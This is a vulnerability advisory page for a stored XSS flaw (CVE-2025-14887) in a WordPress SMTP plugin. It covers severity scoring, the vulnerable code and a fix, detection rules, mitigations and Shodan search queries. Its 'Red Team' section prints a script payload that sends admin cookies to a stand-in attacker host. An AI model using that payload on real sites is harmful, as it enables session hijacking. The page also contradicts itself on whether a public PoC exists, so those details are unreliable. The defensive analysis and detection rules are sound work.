☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.4 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14887

CVE-2025-14887 Cross-Site Scripting in Twinklesmtp
📅 PUBLISHED: 2026-01-07 06:35 UTC 🔄 UPDATED: 2026-10-02 00:03 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
4.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14887 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the twinklesmtp – Email Service Provider For WordPress plugin, affecting all versions up to and including 1.03. The flaw resides in the plugin's sender settings, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level permissions (or higher) to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is particularly impactful on multi-site WordPress installations or environments where the unfiltered_html capability has been disabled. Despite a low EPSS score (0.0%) and no known public exploits or patches, the risk is elevated due to the potential for privilege escalation and lateral movement within compromised WordPress ecosystems.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a WordPress ecosystem issue, it underscores the importance of vetting third-party plugins and maintaining strict input validation. No official patch has been released, and the vendor's status remains unknown, leaving sites reliant on manual mitigation.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Administrator)
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The medium severity reflects the need for high privileges and user interaction, but the stored XSS nature can lead to persistent compromise of admin-level sessions and data exfiltration.

Deep Dive & Mechanics

The vulnerability is rooted in the plugin's sender settings functionality, which likely stores user-supplied data (e.g., sender name, email address) without proper sanitization. When this data is later rendered in the WordPress admin panel or frontend, it is not escaped, allowing arbitrary HTML and JavaScript injection. The attack flow:

  1. Prerequisite: Attacker must have administrator-level access (or higher) on a WordPress multi-site installation or a site where unfiltered_html is disabled.
  2. Injection: The attacker navigates to the plugin's settings page (e.g., wp-admin/admin.php?page=twinklesmtp-settings) and injects malicious payloads into sender fields (e.g., sender name).
  3. Storage: The payload is stored in the WordPress database (likely in wp_options or plugin-specific tables).
  4. Trigger: When any user (including other admins) accesses the settings page or any page that renders the sender data, the injected script executes in their browser context.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output escaping (e.g., esc_html(), esc_attr()) and input sanitization (e.g., sanitize_text_field()) enables the attack.

Vulnerable vs. Patched Code

Since no official patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (twinklesmtp <= 1.03):

// In plugin settings page
$sender_name = get_option('twinklesmtp_sender_name');
echo '<input type="text" name="twinklesmtp_sender_name" value="' . $sender_name . '" />';

Patched Code (Hypothetical Fix):

// In plugin settings page
$sender_name = get_option('twinklesmtp_sender_name');
echo '<input type="text" name="twinklesmtp_sender_name" value="' . esc_attr($sender_name) . '" />';

Additionally, input sanitization should be applied on save:

// In save handler
update_option('twinklesmtp_sender_name', sanitize_text_field($_POST['twinklesmtp_sender_name']));

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress multi-site installation or unfiltered_html disabled.
  • Administrator-level credentials.

Step-by-Step Exploitation:

  1. Login as an administrator.
  2. Navigate to the plugin settings: http://target/wp-admin/admin.php?page=twinklesmtp-settings.
  3. Inject payload into the "Sender Name" field:
    <script>alert('XSS')</script>
    
    Or a more advanced payload for session hijacking:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Save the settings.
  5. Wait for another admin to visit the settings page or any page rendering the sender name.

Note: No public exploit code exists; this is a conceptual demonstration.

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unusual changes to plugin settings by admin users.
  • Look for suspicious strings in wp_options table (e.g., twinklesmtp_sender_name containing <script> tags).
  • Use WAF rules to block common XSS payloads in admin POST requests.

Prevention:

  • Disable the plugin until a patch is available.
  • Restrict admin access to trusted users only.
  • Enable unfiltered_html only for super admins on multi-site.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • File System:
    • Modified plugin files (e.g., wp-content/plugins/twinklesmtp/twinklesmtp.php) containing injected code.
  • Database:
    • wp_options table entries with option_name like twinklesmtp_sender_name containing HTML/JavaScript.
  • Network:
    • Outbound HTTP requests to attacker-controlled domains from admin browsers.
  • Logs:
    • Unusual admin activity logs (e.g., repeated settings saves).
    • HTTP requests to wp-admin/admin.php?page=twinklesmtp-settings with suspicious POST data.

Detection Engineering

YARA Rule

rule CVE_2025_14887_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in twinklesmtp plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14887"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $option_name = "twinklesmtp_sender_name"
    condition:
        $option_name and ($payload1 or $payload2)
}

Sigma Rule

title: CVE-2025-14887 - Stored XSS via twinklesmtp Plugin Settings
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in twinklesmtp plugin by monitoring admin POST requests to plugin settings.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "page=twinklesmtp-settings"
        cs-uri-query|contains|windash: "twinklesmtp_sender_name"
    keywords:
        - "<script"
        - "onload="
        - "onerror="
    condition: selection and keywords
falsepositives:
    - Legitimate admin updates with benign HTML
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-14887 - Stored XSS Payload in twinklesmtp Settings"; flow:to_server,established; content:"POST"; http_method; content:"page=twinklesmtp-settings"; http_uri; content:"twinklesmtp_sender_name"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the twinklesmtp plugin until a patch is released.
  2. Audit all admin accounts and remove unnecessary privileges.
  3. Review database entries for stored XSS payloads (e.g., in wp_options).

Long-Term Fixes:

  • Vendor: Apply input sanitization (sanitize_text_field()) and output escaping (esc_attr(), esc_html()) to all user-supplied data in plugin settings.
  • Users: Monitor the plugin repository for updates. If no patch is forthcoming, consider replacing the plugin with an alternative.

Workarounds:

  • Implement a Web Application Firewall (WAF) rule to block XSS payloads in admin POST requests.
  • Restrict unfiltered_html capability to only super admins on multi-site installations.

Valters IT
Securing Digital Ecosystems

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"twinklesmtp"
http.html:"twinklesmtp"
http.html:"wp-content/plugins/twinklesmtp"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14887/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.